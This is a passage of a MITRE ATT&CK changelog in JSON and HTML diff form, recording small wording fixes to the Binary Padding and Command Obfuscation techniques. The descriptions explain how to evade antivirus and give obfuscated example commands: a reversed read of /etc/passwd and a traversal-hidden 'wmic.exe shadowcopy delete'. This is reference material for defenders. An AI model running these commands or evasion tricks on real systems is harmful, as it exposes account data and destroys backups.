\\n-Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \\n+Binary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limit the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to147__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to147__0\"><a href=\"#difflib_chg_to147__top\">t</a></td><td class=\"diff_header\" id=\"from147_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;binary&nbsp;padding&nbsp;to&nbsp;add&nbsp;junk&nbsp;data&nbsp;and&nbsp;chan</td><td class=\"diff_next\"><a href=\"#difflib_chg_to147__top\">t</a></td><td class=\"diff_header\" id=\"to147_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;binary&nbsp;padding&nbsp;to&nbsp;add&nbsp;junk&nbsp;data&nbsp;and&nbsp;chan</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;the&nbsp;on-disk&nbsp;representation&nbsp;of&nbsp;malware.&nbsp;This&nbsp;can&nbsp;be&nbsp;done&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;the&nbsp;on-disk&nbsp;representation&nbsp;of&nbsp;malware.&nbsp;This&nbsp;can&nbsp;be&nbsp;done&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithout&nbsp;affecting&nbsp;the&nbsp;functionality&nbsp;or&nbsp;behavior&nbsp;of&nbsp;a&nbsp;binary,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ithout&nbsp;affecting&nbsp;the&nbsp;functionality&nbsp;or&nbsp;behavior&nbsp;of&nbsp;a&nbsp;binary,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">but&nbsp;can&nbsp;increase&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;binary&nbsp;beyond&nbsp;what&nbsp;some&nbsp;sec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">but&nbsp;can&nbsp;increase&nbsp;the&nbsp;size&nbsp;of&nbsp;the&nbsp;binary&nbsp;beyond&nbsp;what&nbsp;some&nbsp;sec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urity&nbsp;tools&nbsp;are&nbsp;capable&nbsp;of&nbsp;handling&nbsp;due&nbsp;to&nbsp;file&nbsp;size&nbsp;limitat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urity&nbsp;tools&nbsp;are&nbsp;capable&nbsp;of&nbsp;handling&nbsp;due&nbsp;to&nbsp;file&nbsp;size&nbsp;limitat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions.&nbsp;&nbsp;&nbsp;Binary&nbsp;padding&nbsp;effectively&nbsp;changes&nbsp;the&nbsp;checksum&nbsp;of&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ions.&nbsp;&nbsp;&nbsp;Binary&nbsp;padding&nbsp;effectively&nbsp;changes&nbsp;the&nbsp;checksum&nbsp;of&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;file&nbsp;and&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;avoid&nbsp;hash-based&nbsp;blocklists&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;file&nbsp;and&nbsp;can&nbsp;also&nbsp;be&nbsp;used&nbsp;to&nbsp;avoid&nbsp;hash-based&nbsp;blocklists&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;static&nbsp;anti-virus&nbsp;signatures.(Citation:&nbsp;ESET&nbsp;OceanLotus)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">and&nbsp;static&nbsp;anti-virus&nbsp;signatures.(Citation:&nbsp;ESET&nbsp;OceanLotus)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;The&nbsp;padding&nbsp;used&nbsp;is&nbsp;commonly&nbsp;generated&nbsp;by&nbsp;a&nbsp;function&nbsp;to&nbsp;cre</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;The&nbsp;padding&nbsp;used&nbsp;is&nbsp;commonly&nbsp;generated&nbsp;by&nbsp;a&nbsp;function&nbsp;to&nbsp;cre</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;junk&nbsp;data&nbsp;and&nbsp;then&nbsp;appended&nbsp;to&nbsp;the&nbsp;end&nbsp;or&nbsp;applied&nbsp;to&nbsp;sec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ate&nbsp;junk&nbsp;data&nbsp;and&nbsp;then&nbsp;appended&nbsp;to&nbsp;the&nbsp;end&nbsp;or&nbsp;applied&nbsp;to&nbsp;sec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;of&nbsp;malware.(Citation:&nbsp;Securelist&nbsp;Malware&nbsp;Tricks&nbsp;April&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tions&nbsp;of&nbsp;malware.(Citation:&nbsp;Securelist&nbsp;Malware&nbsp;Tricks&nbsp;April&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2017)&nbsp;Increasing&nbsp;the&nbsp;file&nbsp;size&nbsp;may&nbsp;decrease&nbsp;the&nbsp;effectivenes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">2017)&nbsp;Increasing&nbsp;the&nbsp;file&nbsp;size&nbsp;may&nbsp;decrease&nbsp;the&nbsp;effectivenes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;of&nbsp;certain&nbsp;tools&nbsp;and&nbsp;detection&nbsp;capabilities&nbsp;that&nbsp;are&nbsp;not&nbsp;d</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;of&nbsp;certain&nbsp;tools&nbsp;and&nbsp;detection&nbsp;capabilities&nbsp;that&nbsp;are&nbsp;not&nbsp;d</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">esigned&nbsp;or&nbsp;configured&nbsp;to&nbsp;scan&nbsp;large&nbsp;files.&nbsp;This&nbsp;may&nbsp;also&nbsp;red</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">esigned&nbsp;or&nbsp;configured&nbsp;to&nbsp;scan&nbsp;large&nbsp;files.&nbsp;This&nbsp;may&nbsp;also&nbsp;red</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uce&nbsp;the&nbsp;likelihood&nbsp;of&nbsp;being&nbsp;collected&nbsp;for&nbsp;analysis.&nbsp;Public&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">uce&nbsp;the&nbsp;likelihood&nbsp;of&nbsp;being&nbsp;collected&nbsp;for&nbsp;analysis.&nbsp;Public&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;scanning&nbsp;services,&nbsp;such&nbsp;as&nbsp;VirusTotal,&nbsp;limit<span class=\"diff_chg\">s&nbsp;the</span>&nbsp;maximu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ile&nbsp;scanning&nbsp;services,&nbsp;such&nbsp;as&nbsp;VirusTotal,&nbsp;limit<span class=\"diff_chg\">&nbsp;the</span>&nbsp;maximum</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">m&nbsp;size&nbsp;of&nbsp;an&nbsp;uploaded&nbsp;file&nbsp;to&nbsp;be&nbsp;analyzed.(Citation:&nbsp;VirusTo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;size&nbsp;of&nbsp;an&nbsp;uploaded&nbsp;file&nbsp;to&nbsp;be&nbsp;analyzed.(Citation:&nbsp;VirusTot</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tal&nbsp;FAQ)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">al&nbsp;FAQ)&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0553: Detection Strategy for Obfuscated Files or Information: Binary Padding"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-14 17:36:01.022000+00:00",
                    "modified": "2026-11-03 21:26:29.649000+00:00",
                    "name": "Command Obfuscation",
                    "description": "Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\n\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\u201cWor\u201d+\u201cd.Application\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\n\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\voi\\pcw\\..\\..\\Windows\\tei\\qs\\k\\..\\..\\..\\system32\\erool\\..\\wbem\\wg\\je\\..\\..\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\n\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1027/010",
                            "external_id": "T1027.010"
                        },
                        {
                            "source_name": "Twitter Richard WMIC",
                            "description": "Ackroyd, R. (2023, March 24). Twitter. Retrieved September 12, 2024.",
                            "url": "https://x.com/rfackroyd/status/1639136000755765254"
                        },
                        {
                            "source_name": "Invoke-Obfuscation",
                            "description": "Bohannon, D. (2016, September 24). Invoke-Obfuscation. Retrieved March 17, 2023.",
                            "url": "https://github.com/danielbohannon/Invoke-Obfuscation"
                        },
                        {
                            "source_name": "Invoke-DOSfuscation",
                            "description": "Bohannon, D. (2018, March 19). Invoke-DOSfuscation. Retrieved March 17, 2023.",
                            "url": "https://github.com/danielbohannon/Invoke-DOSfuscation"
                        },
                        {
                            "source_name": "FireEye Obfuscation June 2017",
                            "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                            "url": "https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"
                        },
                        {
                            "source_name": "Malware Monday VBE",
                            "description": "Bromiley, M. (2016, December 27). Malware Monday: VBScript and VBE Files. Retrieved March 17, 2023.",
                            "url": "https://bromiley.medium.com/malware-monday-vbscript-and-vbe-files-292252c1a16"
                        },
                        {
                            "source_name": "Akamai JS",
                            "description": "Katz, O. (2020, October 26). Catch Me if You Can\u2014JavaScript Obfuscation. Retrieved March 17, 2023.",
                            "url": "https://www.akamai.com/blog/security/catch-me-if-you-can-javascript-obfuscation"
                        },
                        {
                            "source_name": "Bashfuscator Command Obfuscators",
                            "description": "LeFevre, A. (n.d.). Bashfuscator Command Obfuscators. Retrieved March 17, 2023.",
                            "url": "https://bashfuscator.readthedocs.io/en/latest/Mutators/command_obfuscators/index.html"
                        },
                        {
                            "source_name": "Microsoft PowerShellB64",
                            "description": "Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.",
                            "url": "https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand"
                        },
                        {
                            "source_name": "RC PowerShell",
                            "description": "Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.",
                            "url": "https://redcanary.com/threat-detection-report/techniques/powershell/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "George Thomas",
                        "Tim Peck",
                        "TruKno"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS",
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:26:29.649000+00:00\", \"old_value\": \"2026-05-12 15:12:00.718000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n\\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n\\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n\\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\", \"old_value\": \"Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n\\nFor example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n\\nAdversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n\\nTools such as <code>Invoke-Obfuscation</code> and <code>Invoke-DOSfucation</code> have also been used to obfuscate commands.(Citation: Invoke-DOSfuscation)(Citation: Invoke-Obfuscation)\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may obfuscate content during command execution to impede detection. Command-line obfuscation is a method of making strings and patterns within commands and scripts more difficult to signature and analyze. This type of obfuscation can be included within commands executed by delivered payloads (e.g., [Phishing](https://attack.mitre.org/techniques/T1566) and [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)) or interactively via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: Akamai JS)(Citation: Malware Monday VBE)\\n \\n-For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`. `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n+For example, adversaries may abuse syntax that utilizes various symbols and escape characters (such as spacing,  `^`, `+`, `$`, and `%`) to make commands difficult to analyze while maintaining the same intended functionality.(Citation: RC PowerShell) Many languages support built-in obfuscation in the form of base64 or URL encoding.(Citation: Microsoft PowerShellB64) Adversaries may also manually implement command obfuscation via string splitting (`\\u201cWor\\u201d+\\u201cd.Application\\u201d`), order and casing of characters (`rev <<<'dwssap/cte/ tac'`), globbing (`mkdir -p '/tmp/:&$NiA'`), as well as various tricks involving passing strings through tokens/environment variables/input streams.(Citation: Bashfuscator Command Obfuscators)(Citation: FireEye Obfuscation June 2017)\\n \\n Adversaries may also use tricks such as directory traversals to obfuscate references to the binary being invoked by a command (`C:\\\\voi\\\\pcw\\\\..\\\\..\\\\Windows\\\\tei\\\\qs\\\\k\\\\..\\\\..\\\\..\\\\system32\\\\erool\\\\..\\\\wbem\\\\wg\\\\je\\\\..\\\\..\\\\wmic.exe shadowcopy delete`).(Citation: Twitter Richard WMIC)\\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to77__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to77__0\"><a href=\"#difflib_chg_to77__top\">t</a></td><td class=\"diff_header\" id=\"from77_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;obfuscate&nbsp;content&nbsp;during&nbsp;command&nbsp;execution&nbsp;t</td><td class=\"diff_next\"><a href=\"#difflib_chg_to77__top\">t</a></td><td class=\"diff_header\" id=\"to77_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;obfuscate&nbsp;content&nbsp;during&nbsp;command&nbsp;execution&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;impede&nbsp;detection.&nbsp;Command-line&nbsp;obfuscation&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;impede&nbsp;detection.&nbsp;Command-line&nbsp;obfuscation&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">making&nbsp;strings&nbsp;and&nbsp;patterns&nbsp;within&nbsp;commands&nbsp;and&nbsp;scripts&nbsp;more</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">making&nbsp;strings&nbsp;and&nbsp;patterns&nbsp;within&nbsp;commands&nbsp;and&nbsp;scripts&nbsp;more</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;difficult&nbsp;to&nbsp;signature&nbsp;and&nbsp;analyze.&nbsp;This&nbsp;type&nbsp;of&nbsp;obfuscatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;difficult&nbsp;to&nbsp;signature&nbsp;and&nbsp;analyze.&nbsp;This&nbsp;type&nbsp;of&nbsp;obfuscatio</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;can&nbsp;be&nbsp;included&nbsp;within&nbsp;commands&nbsp;executed&nbsp;by&nbsp;delivered&nbsp;payl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n&nbsp;can&nbsp;be&nbsp;included&nbsp;within&nbsp;commands&nbsp;executed&nbsp;by&nbsp;delivered&nbsp;payl</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oads&nbsp;(e.g.,&nbsp;[Phishing](https://attack.mitre.org/techniques/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oads&nbsp;(e.g.,&nbsp;[Phishing](https://attack.mitre.org/techniques/T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1566)&nbsp;and&nbsp;[Drive-by&nbsp;Compromise](https://attack.mitre.org/tec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1566)&nbsp;and&nbsp;[Drive-by&nbsp;Compromise](https://attack.mitre.org/tec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1189))&nbsp;or&nbsp;interactively&nbsp;via&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hniques/T1189))&nbsp;or&nbsp;interactively&nbsp;via&nbsp;[Command&nbsp;and&nbsp;Scripting&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Interpreter](https://attack.mitre.org/techniques/T1059).(Cit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Interpreter](https://attack.mitre.org/techniques/T1059).(Cit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Akamai&nbsp;JS)(Citation:&nbsp;Malware&nbsp;Monday&nbsp;VBE)&nbsp;&nbsp;For&nbsp;example</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ation:&nbsp;Akamai&nbsp;JS)(Citation:&nbsp;Malware&nbsp;Monday&nbsp;VBE)&nbsp;&nbsp;For&nbsp;example</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;syntax&nbsp;that&nbsp;utilizes&nbsp;various&nbsp;symbols</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;syntax&nbsp;that&nbsp;utilizes&nbsp;various&nbsp;symbols</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;escape&nbsp;characters&nbsp;(such&nbsp;as&nbsp;spacing,&nbsp;&nbsp;`^`,&nbsp;`+`<span class=\"diff_chg\">.</span>&nbsp;`$`,&nbsp;and</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;and&nbsp;escape&nbsp;characters&nbsp;(such&nbsp;as&nbsp;spacing,&nbsp;&nbsp;`^`,&nbsp;`+`<span class=\"diff_chg\">,</span>&nbsp;`$`,&nbsp;and</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`%`)&nbsp;to&nbsp;make&nbsp;commands&nbsp;difficult&nbsp;to&nbsp;analyze&nbsp;while&nbsp;maintainin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;`%`)&nbsp;to&nbsp;make&nbsp;commands&nbsp;difficult&nbsp;to&nbsp;analyze&nbsp;while&nbsp;maintainin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;same&nbsp;intended&nbsp;functionality.(Citation:&nbsp;RC&nbsp;PowerShell)&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g&nbsp;the&nbsp;same&nbsp;intended&nbsp;functionality.(Citation:&nbsp;RC&nbsp;PowerShell)&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Many&nbsp;languages&nbsp;support&nbsp;built-in&nbsp;obfuscation&nbsp;in&nbsp;the&nbsp;form&nbsp;of&nbsp;b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Many&nbsp;languages&nbsp;support&nbsp;built-in&nbsp;obfuscation&nbsp;in&nbsp;the&nbsp;form&nbsp;of&nbsp;b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ase64&nbsp;or&nbsp;URL&nbsp;encoding.(Citation:&nbsp;Microsoft&nbsp;PowerShellB64)&nbsp;Ad</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ase64&nbsp;or&nbsp;URL&nbsp;encoding.(Citation:&nbsp;Microsoft&nbsp;PowerShellB64)&nbsp;Ad</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 